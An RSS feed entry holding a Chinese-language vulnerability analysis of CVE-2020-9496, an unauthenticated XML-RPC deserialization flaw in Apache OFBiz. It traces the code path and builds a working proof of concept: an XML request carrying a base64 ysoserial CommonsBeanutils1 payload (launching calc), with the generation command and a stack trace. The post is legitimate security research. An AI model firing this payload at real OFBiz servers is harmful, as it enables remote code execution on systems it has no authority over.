<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Ofbiz on 诗与胡说</title>
    <link>https://kylingit.com/tags/ofbiz/index.xml</link>
    <description>Recent content in Ofbiz on 诗与胡说</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>zh_cn</language>
    <copyright>Copyright © 2021 Kylinking</copyright>
    <atom:link href="https://kylingit.com/tags/ofbiz/index.xml" rel="self" type="application/rss+xml" />
    
    <item>
      <title>CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析</title>
      <link>https://kylingit.com/blog/cve-2020-9496-apache-ofbiz-xmlrpc-rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Tue, 22 Sep 2020 11:17:46 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/cve-2020-9496-apache-ofbiz-xmlrpc-rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h2 id=&#34;环境搭建&#34;&gt;环境搭建&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;下载：&lt;a href=&#34;https://downloads.apache.org/ofbiz/&#34;&gt;https://downloads.apache.org/ofbiz/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;安装：在主目录下执行：

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;.\gradle\init-gradle-wrapper.ps1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gradlew.bat&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;背景&#34;&gt;背景&lt;/h2&gt;

&lt;h3 id=&#34;web路由&#34;&gt;Web路由&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!-- framework\webtools\webapp\webtools\WEB-INF\web.xml --&amp;gt;
&amp;lt;servlet&amp;gt;
    &amp;lt;description&amp;gt;Main Control Servlet&amp;lt;/description&amp;gt;
    &amp;lt;display-name&amp;gt;ControlServlet&amp;lt;/display-name&amp;gt;
    &amp;lt;servlet-name&amp;gt;ControlServlet&amp;lt;/servlet-name&amp;gt;
    &amp;lt;servlet-class&amp;gt;org.apache.ofbiz.webapp.control.ControlServlet&amp;lt;/servlet-class&amp;gt;
    &amp;lt;load-on-startup&amp;gt;1&amp;lt;/load-on-startup&amp;gt;
&amp;lt;/servlet&amp;gt;
&amp;lt;servlet-mapping&amp;gt;
    &amp;lt;servlet-name&amp;gt;ControlServlet&amp;lt;/servlet-name&amp;gt;
    &amp;lt;url-pattern&amp;gt;/control/*&amp;lt;/url-pattern&amp;gt;
&amp;lt;/servlet-mapping&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;根据web.xml定义的&lt;code&gt;servlet&lt;/code&gt;，定位到&lt;code&gt;org.apache.ofbiz.webapp.control.ControlServlet&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;主要请求由&lt;code&gt;org.apache.ofbiz.webapp.control.RequestHandler#doRequest()&lt;/code&gt;处理&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921163908090.png&#34; alt=&#34;image-20200921163908090&#34; /&gt;&lt;/p&gt;

&lt;p&gt;首先根据请求的url获取路由信息，默认有216个url路径（17.12.03版本）&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921164034754.png&#34; alt=&#34;image-20200921164034754&#34; /&gt;&lt;/p&gt;

&lt;p&gt;之后会根据&lt;code&gt;requestMap.event&lt;/code&gt;信息去查找负责处理event的handler，之后再通过&lt;code&gt;invoke&lt;/code&gt;进行具体的调用，该过程由&lt;code&gt;org.apache.ofbiz.webapp.control.RequestHandler#runEvent()&lt;/code&gt;来完成&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921164204132.png&#34; alt=&#34;image-20200921164204132&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921164502998.png&#34; alt=&#34;image-20200921164502998&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;xml-rpc消息&#34;&gt;XML-RPC消息&lt;/h3&gt;

&lt;h4 id=&#34;xml-rpc数据类型&#34;&gt;XML-RPC数据类型&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;文档：&lt;a href=&#34;https://ws.apache.org/xmlrpc/types.html&#34;&gt;https://ws.apache.org/xmlrpc/types.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;根据文档，xmlrpc支持多种数据类型，对应的xml标签包括&lt;code&gt;base64&lt;/code&gt;、&lt;code&gt;struct&lt;/code&gt;、&lt;code&gt;array&lt;/code&gt;等&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921165252225.png&#34; alt=&#34;image-20200921165252225&#34; /&gt;&lt;/p&gt;

&lt;p&gt;下面是几种常见的数据类型&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!-- array --&amp;gt;
&amp;lt;value&amp;gt;
  &amp;lt;array&amp;gt;
    &amp;lt;data&amp;gt;
      &amp;lt;value&amp;gt;&amp;lt;int&amp;gt;7&amp;lt;/int&amp;gt;&amp;lt;/value&amp;gt;
    &amp;lt;/data&amp;gt;
  &amp;lt;/array&amp;gt;
&amp;lt;/value&amp;gt;


&amp;lt;!-- struct --&amp;gt;
&amp;lt;struct&amp;gt; 
  &amp;lt;member&amp;gt; 
    &amp;lt;name&amp;gt;foo&amp;lt;/name&amp;gt; 
    &amp;lt;value&amp;gt;bar&amp;lt;/value&amp;gt; 
  &amp;lt;/member&amp;gt; 
&amp;lt;/struct&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h4 id=&#34;xml-rpc消息格式&#34;&gt;XML-RPC消息格式&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;文档：&lt;a href=&#34;http://xmlrpc.com/spec.md&#34;&gt;http://xmlrpc.com/spec.md&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;每个XML-RPC请求都以&lt;code&gt;&amp;lt;methodCall&amp;gt;&amp;lt;/methodCall&amp;gt;&lt;/code&gt;开头，该元素包含单个子元素&lt;code&gt;&amp;lt;methodName&amp;gt;method&amp;lt;/methodName&amp;gt;&lt;/code&gt;，元素&lt;code&gt;&amp;lt;methodName&amp;gt;&lt;/code&gt;包含子元素&lt;code&gt;&amp;lt;params&amp;gt;&lt;/code&gt;，&lt;code&gt;&amp;lt;params&amp;gt;&lt;/code&gt;可以包含一个或多个&lt;code&gt;&amp;lt;param&amp;gt;&lt;/code&gt;元素。如：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;POST /RPC2 HTTP/1.0
User-Agent: Frontier/5.1.2 (WinNT)
Host: betty.userland.com
Content-Type: text/xml
Content-length: 181

&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;
&amp;lt;methodCall&amp;gt; 
  &amp;lt;methodName&amp;gt;examples.getStateName&amp;lt;/methodName&amp;gt;  
  &amp;lt;params&amp;gt; 
    &amp;lt;param&amp;gt; 
      &amp;lt;value&amp;gt;
        &amp;lt;i4&amp;gt;41&amp;lt;/i4&amp;gt;
      &amp;lt;/value&amp;gt; 
    &amp;lt;/param&amp;gt; 
  &amp;lt;/params&amp;gt; 
&amp;lt;/methodCall&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;漏洞分析&#34;&gt;漏洞分析&lt;/h2&gt;

&lt;p&gt;CVE-2020-9496&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;漏洞信息：&lt;a href=&#34;https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz&#34;&gt;https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;补丁：&lt;a href=&#34;https://github.com/apache/ofbiz-framework/commit/4bdfb54ffb6e05215dd826ca2902c3e31420287a&#34;&gt;https://github.com/apache/ofbiz-framework/commit/4bdfb54ffb6e05215dd826ca2902c3e31420287a&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921164745933.png&#34; alt=&#34;image-20200921164745933&#34; /&gt;&lt;/p&gt;

&lt;p&gt;根据补丁发现&lt;code&gt;framework\webtools\webapp\webtools\WEB-INF\controller.xml&lt;/code&gt;中的&lt;code&gt;xmlrpc&lt;/code&gt;请求增加了&lt;code&gt;&amp;lt;security auth=&amp;quot;true&amp;quot;/&amp;gt;&lt;/code&gt;的认证，说明默认情况下该接口访问无需认证&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!-- framework\webtools\webapp\webtools\WEB-INF\controller.xml --&amp;gt;
&amp;lt;request-map uri=&amp;quot;xmlrpc&amp;quot; track-serverhit=&amp;quot;false&amp;quot; track-visit=&amp;quot;false&amp;quot;&amp;gt;
    &amp;lt;security https=&amp;quot;false&amp;quot;/&amp;gt;
    &amp;lt;event type=&amp;quot;xmlrpc&amp;quot;/&amp;gt;
    &amp;lt;response name=&amp;quot;error&amp;quot; type=&amp;quot;none&amp;quot;/&amp;gt;
    &amp;lt;response name=&amp;quot;success&amp;quot; type=&amp;quot;none&amp;quot;/&amp;gt;
&amp;lt;/request-map&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;调用方法&#34;&gt;调用方法&lt;/h3&gt;

&lt;p&gt;直接构造post请求发送&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;POST /webtools/control/xmlrpc HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 181

&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;
&amp;lt;methodCall&amp;gt;
  &amp;lt;methodName&amp;gt;testMethod&amp;lt;/methodName&amp;gt;
  &amp;lt;params&amp;gt;
    &amp;lt;param&amp;gt;
      &amp;lt;value&amp;gt;test&amp;lt;/value&amp;gt;
    &amp;lt;/param&amp;gt;
  &amp;lt;/params&amp;gt;
&amp;lt;/methodCall&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;发现报错&lt;code&gt;org.apache.xmlrpc.server.XmlRpcNoSuchHandlerException: No such service [testMethod]&lt;/code&gt;说明没有相关的方法&lt;/p&gt;

&lt;p&gt;下断点调试一下，由上面的&lt;code&gt;org.apache.ofbiz.webapp.event.XmlRpcEventHandler#invoke()&lt;/code&gt;进入&lt;code&gt;execute()&lt;/code&gt;，接着调用&lt;code&gt;org.apache.xmlrpc.server.XmlRpcServer#execute()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921171252973.png&#34; alt=&#34;image-20200921171252973&#34; /&gt;&lt;/p&gt;

&lt;p&gt;跟入&lt;code&gt;XmlRpcServer#execute()&lt;/code&gt;，发现调用了&lt;code&gt;org.apache.xmlrpc.server.XmlRpcServerWorker#execute()&lt;/code&gt;，由具体的event handler处理XML-RPC请求&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921171443304.png&#34; alt=&#34;image-20200921171443304&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;org.apache.ofbiz.webapp.event.XmlRpcEventHandler.ServiceRpcHandler#getHandler()&lt;/code&gt;中获取Handler对应的&lt;code&gt;ModelService&lt;/code&gt;，默认注册的service有3000多个，也就是可供调用的&lt;code&gt;methodName&lt;/code&gt;，如果找不到service会抛出&lt;code&gt;No such service&lt;/code&gt;的异常&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921171738522.png&#34; alt=&#34;image-20200921171738522&#34; /&gt;&lt;/p&gt;

&lt;p&gt;所以此处传入一个已注册的service&lt;/p&gt;

&lt;p&gt;回到&lt;code&gt;org.apache.xmlrpc.server.XmlRpcServerWorker#execute()&lt;/code&gt;，当成功查询到service后通过&lt;code&gt;handler.execute(pRequest)&lt;/code&gt;进行调用，注意此处还会检查一次&lt;code&gt;ModelService&lt;/code&gt;的&lt;code&gt;export&lt;/code&gt;属性，因此通过遍历serviceMap找到一个&lt;code&gt;export&lt;/code&gt;为&lt;code&gt;true&lt;/code&gt;的方法，如&lt;code&gt;ping&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921172937855.png&#34; alt=&#34;image-20200921172937855&#34; /&gt;&lt;/p&gt;

&lt;p&gt;继续构造请求（下面会解释为什么需要struct块）&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;
&amp;lt;methodCall&amp;gt;
  &amp;lt;methodName&amp;gt;ping&amp;lt;/methodName&amp;gt;
  &amp;lt;params&amp;gt;
    &amp;lt;param&amp;gt;
      &amp;lt;value&amp;gt;
        &amp;lt;struct&amp;gt;
          &amp;lt;member&amp;gt;
            &amp;lt;name&amp;gt;foo&amp;lt;/name&amp;gt;
            &amp;lt;value&amp;gt;aa&amp;lt;/value&amp;gt;
          &amp;lt;/member&amp;gt;
        &amp;lt;/struct&amp;gt;
      &amp;lt;/value&amp;gt;
    &amp;lt;/param&amp;gt;
  &amp;lt;/params&amp;gt;
&amp;lt;/methodCall&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;响应&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&amp;lt;methodResponse xmlns:ex=&amp;quot;http://ws.apache.org/xmlrpc/namespaces/extensions&amp;quot;&amp;gt;&amp;lt;params&amp;gt;&amp;lt;param&amp;gt;&amp;lt;value&amp;gt;&amp;lt;struct&amp;gt;&amp;lt;member&amp;gt;&amp;lt;name&amp;gt;message&amp;lt;/name&amp;gt;&amp;lt;value&amp;gt;PONG&amp;lt;/value&amp;gt;&amp;lt;/member&amp;gt;&amp;lt;/struct&amp;gt;&amp;lt;/value&amp;gt;&amp;lt;/param&amp;gt;&amp;lt;/params&amp;gt;&amp;lt;/methodResponse&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;说明成功调用ping方法&lt;/p&gt;

&lt;h3 id=&#34;反序列化点&#34;&gt;反序列化点&lt;/h3&gt;

&lt;p&gt;在&lt;code&gt;Ofbiz&lt;/code&gt;自带的第三方库&lt;code&gt;xmlrpc-common-3.1.3.jar&lt;/code&gt;中的&lt;code&gt;org.apache.xmlrpc.parser.SerializableParser&lt;/code&gt;类能明显地看到对数据的还原操作，如果gadget到达此处能直接被反序列化而不会被过滤。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921180634383.png&#34; alt=&#34;image-20200921180634383&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;解析xml&#34;&gt;解析XML&lt;/h3&gt;

&lt;p&gt;回到&lt;code&gt;org.apache.ofbiz.webapp.control.RequestHandler#runEvent()&lt;/code&gt;方法，在其随后调用的链中，注意到&lt;code&gt;getRequest()&lt;/code&gt;方法&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;org.apache.ofbiz.webapp.control.RequestHandler.runEvent()
  org.apache.ofbiz.webapp.event.XmlRpcEventHandler.invoke()
    org.apache.ofbiz.webapp.event.XmlRpcEventHandler.execute()
      org.apache.ofbiz.webapp.event.XmlRpcEventHandler.getRequest()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在getRequest()中，传入的xml数据由第三方库&lt;code&gt;xmlrpc-common.jar&lt;/code&gt;来进行解析（注意到此处做了XXE防护）&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921174933501.png&#34; alt=&#34;image-20200921174933501&#34; /&gt;&lt;/p&gt;

&lt;p&gt;该类的初始化由父类&lt;code&gt;org.apache.xmlrpc.parser.RecursiveTypeParserImpl&lt;/code&gt;完成，顾名思义就是递归解析，其他的便是常规的xml元素解析操作，包括&lt;code&gt;startElement()&lt;/code&gt;、&lt;code&gt;endElement()&lt;/code&gt;等。我们知道在解析器解析xml数据的过程中，会触发到&lt;code&gt;scanDocument()&lt;/code&gt;操作对元素进行逐一“扫描”，其中就会进行&lt;code&gt;startElement()&lt;/code&gt;、&lt;code&gt;endElement()&lt;/code&gt;的调用，这个过程如果处理不当就会引入问题。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921181123956.png&#34; alt=&#34;image-20200921181123956&#34; /&gt;&lt;/p&gt;

&lt;p&gt;注意到在&lt;code&gt;endElement()&lt;/code&gt;方法中对于&lt;code&gt;value&lt;/code&gt;标签的处理，同样由父类完成，跟入&lt;code&gt;org.apache.xmlrpc.parser.RecursiveTypeParserImpl#endValueTag()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921181252917.png&#34; alt=&#34;image-20200921181252917&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;endValueTag()&lt;/code&gt;调用了&lt;code&gt;getResult()&lt;/code&gt;方法，而这个方法就是上面提到的反序列化目标方法，那么接下来就是构造xml数据发送给&lt;code&gt;Ofbiz&lt;/code&gt;，如果&lt;code&gt;value&lt;/code&gt;的标签中存放的值为序列化数据，那么会由&lt;code&gt;SerializableParser&lt;/code&gt;类进行反序列化进而触发漏洞，调用链是这个样子的&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;org.apache.ofbiz.webapp.event.XmlRpcEventHandler.getRequest()
  org.apache.xerces.parsers.AbstractSAXParser.parse()
    org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument()
      org.apache.xmlrpc.parser.XmlRpcRequestParser.endElement()
        org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endElement()
          org.apache.xmlrpc.parser.MapParser.endElement()
            org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endValueTag()
              org.apache.xmlrpc.parser.SerializableParser.getResult()
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;poc构造&#34;&gt;PoC构造&lt;/h3&gt;

&lt;p&gt;接下来的问题就是如何构造出特定的xml数据&lt;/p&gt;

&lt;p&gt;以上面的ping方法为例，假设post如下数据&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;
&amp;lt;methodCall&amp;gt;
  &amp;lt;methodName&amp;gt;ping&amp;lt;/methodName&amp;gt;
  &amp;lt;params&amp;gt;
    &amp;lt;param&amp;gt;
      &amp;lt;value&amp;gt;test&amp;lt;/value&amp;gt;
    &amp;lt;/param&amp;gt;
  &amp;lt;/params&amp;gt;
&amp;lt;/methodCall&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;Ofbiz&lt;/code&gt;成功解析到&lt;code&gt;endValueTag()&lt;/code&gt;方法，但是由于&lt;code&gt;typeParser&lt;/code&gt;属性为空，因此不会进入&lt;code&gt;getResult()&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921183246986.png&#34; alt=&#34;image-20200921183246986&#34; /&gt;&lt;/p&gt;

&lt;p&gt;那么&lt;code&gt;typeParser&lt;/code&gt;属性是在哪里赋值的呢？&lt;/p&gt;

&lt;p&gt;回到&lt;code&gt;org.apache.xmlrpc.parser.XmlRpcRequestParser#startElement()&lt;/code&gt;，在解析器解析xml标签时，对4类标签（methodCall、params、param、value）有分别的处理，这个处理过程是随着每次遍历标签进行的，当扫描完4个必须提供的标签后，会调用父类的&lt;code&gt;startElement()&lt;/code&gt;进行处理，而typeParser就是在父类中完成赋值的，随后便通过不同的解析器进入不同的解析流程，还是会调用对应解析器的&lt;code&gt;startElement&lt;/code&gt;，这个过程是递归的&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921183456809.png&#34; alt=&#34;image-20200921183456809&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921183856009.png&#34; alt=&#34;image-20200921183856009&#34; /&gt;&lt;/p&gt;

&lt;p&gt;分析扫描标签的递增过程，发现此处除了4个标签外，还需在&lt;code&gt;&amp;lt;value&amp;gt;&lt;/code&gt;标签中含有额外的标签，才会进入default分支进而对&lt;code&gt;typeParser&lt;/code&gt;赋值，此时struct就是一个很好的选择，它能把数据作为一个结构体传入。&lt;/p&gt;

&lt;p&gt;接着思考如何传入序列化数据，也即如何控制后端通过&lt;code&gt;SerializableParser&lt;/code&gt;解析数据&lt;/p&gt;

&lt;p&gt;还是关注typeParser的赋值过程，这个属性就是最终将要处理不同类型数据的解析器，在&lt;code&gt;org.apache.xmlrpc.parser.RecursiveTypeParserImpl#startElement()&lt;/code&gt;中，注意到&lt;code&gt;factory.getParser()&lt;/code&gt;操作，将由&lt;code&gt;org.apache.xmlrpc.common.TypeFactoryImpl&lt;/code&gt;类获得不同数据类型的解析类，在其中就有获取&lt;code&gt;SerializableParser&lt;/code&gt;的过程&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921185008145.png&#34; alt=&#34;image-20200921185008145&#34; /&gt;&lt;/p&gt;

&lt;p&gt;因此只要传入&lt;code&gt;&amp;lt;serializable&amp;gt;&lt;/code&gt;标签便会由&lt;code&gt;SerializableParser&lt;/code&gt;进行解析。&lt;/p&gt;

&lt;p&gt;此时还有个前提条件，那就是标签属性必须带有&lt;code&gt;XmlRpcWriter.EXTENSIONS_URI&lt;/code&gt;才会进入后续的判断流程，因此post的数据是这样子的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;
&amp;lt;methodCall&amp;gt;
  &amp;lt;methodName&amp;gt;ping&amp;lt;/methodName&amp;gt;
  &amp;lt;params&amp;gt;
    &amp;lt;param&amp;gt;
      &amp;lt;value&amp;gt;
        &amp;lt;struct&amp;gt;
          &amp;lt;member&amp;gt;
            &amp;lt;name&amp;gt;foo&amp;lt;/name&amp;gt;
            &amp;lt;value&amp;gt;
              &amp;lt;serializable xmlns=&amp;quot;http://ws.apache.org/xmlrpc/namespaces/extensions&amp;quot;&amp;gt;serialized_data&amp;lt;/serializable&amp;gt;
            &amp;lt;/value&amp;gt;
          &amp;lt;/member&amp;gt;
        &amp;lt;/struct&amp;gt;
      &amp;lt;/value&amp;gt;
    &amp;lt;/param&amp;gt;
  &amp;lt;/params&amp;gt;
&amp;lt;/methodCall&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;最后一步，数据的格式&lt;/p&gt;

&lt;p&gt;在获取到&lt;code&gt;SerializableParser&lt;/code&gt;解析器后，startElement过程由父类&lt;code&gt;org.apache.xmlrpc.parser.ByteArrayParser#startElement()&lt;/code&gt;完成，在其中能看到base64的解码操作，所以最终的序列化数据是需要通过base64传输的&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200922105244816.png&#34; alt=&#34;image-20200922105244816&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;漏洞利用&#34;&gt;漏洞利用&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;Ofbiz&lt;/code&gt;中存在Commons-Beanutils库，所以使用ysoserial直接生成CommonsBeanutils1的payload&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt; java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 calc | base64 |tr -d &amp;quot;\n&amp;quot;
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZ...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;填充serialized_data并发送&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921191012365.png&#34; alt=&#34;image-20200921191012365&#34; /&gt;&lt;/p&gt;

&lt;p&gt;调用链&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;java.lang.RuntimeException: InvocationTargetException: java.lang.reflect.InvocationTargetException
	at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:171) ~[commons-beanutils-1.9.3.jar:1.9.3]
	at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721) ~[?:1.8.0_141]
	at java.util.PriorityQueue.siftDown(PriorityQueue.java:687) ~[?:1.8.0_141]
	at java.util.PriorityQueue.heapify(PriorityQueue.java:736) ~[?:1.8.0_141]
	at java.util.PriorityQueue.readObject(PriorityQueue.java:795) ~[?:1.8.0_141]
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_141]
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_141]
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_141]
	at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_141]
	at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058) ~[?:1.8.0_141]
	at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2136) ~[?:1.8.0_141]
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2027) ~[?:1.8.0_141]
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1535) ~[?:1.8.0_141]
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422) ~[?:1.8.0_141]
	at org.apache.xmlrpc.parser.SerializableParser.getResult(SerializableParser.java:36) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endValueTag(RecursiveTypeParserImpl.java:78) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xmlrpc.parser.MapParser.endElement(MapParser.java:185) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endElement(RecursiveTypeParserImpl.java:103) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xmlrpc.parser.XmlRpcRequestParser.endElement(XmlRpcRequestParser.java:165) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xerces.parsers.AbstractSAXParser.endElement(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.impl.XMLNSDocumentScannerImpl.scanEndElement(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl$FragmentContentDispatcher.dispatch(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.parsers.XMLParser.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.parsers.AbstractSAXParser.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.jaxp.SAXParserImpl$JAXPSAXParser.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.ofbiz.webapp.event.XmlRpcEventHandler.getRequest(XmlRpcEventHandler.java:285) ~[ofbiz.jar:?]
	at org.apache.ofbiz.webapp.event.XmlRpcEventHandler.execute(XmlRpcEventHandler.java:229) [ofbiz.jar:?]
	at org.apache.ofbiz.webapp.event.XmlRpcEventHandler.invoke(XmlRpcEventHandler.java:145) [ofbiz.jar:?]
	at org.apache.ofbiz.webapp.control.RequestHandler.runEvent(RequestHandler.java:741) [ofbiz.jar:?]
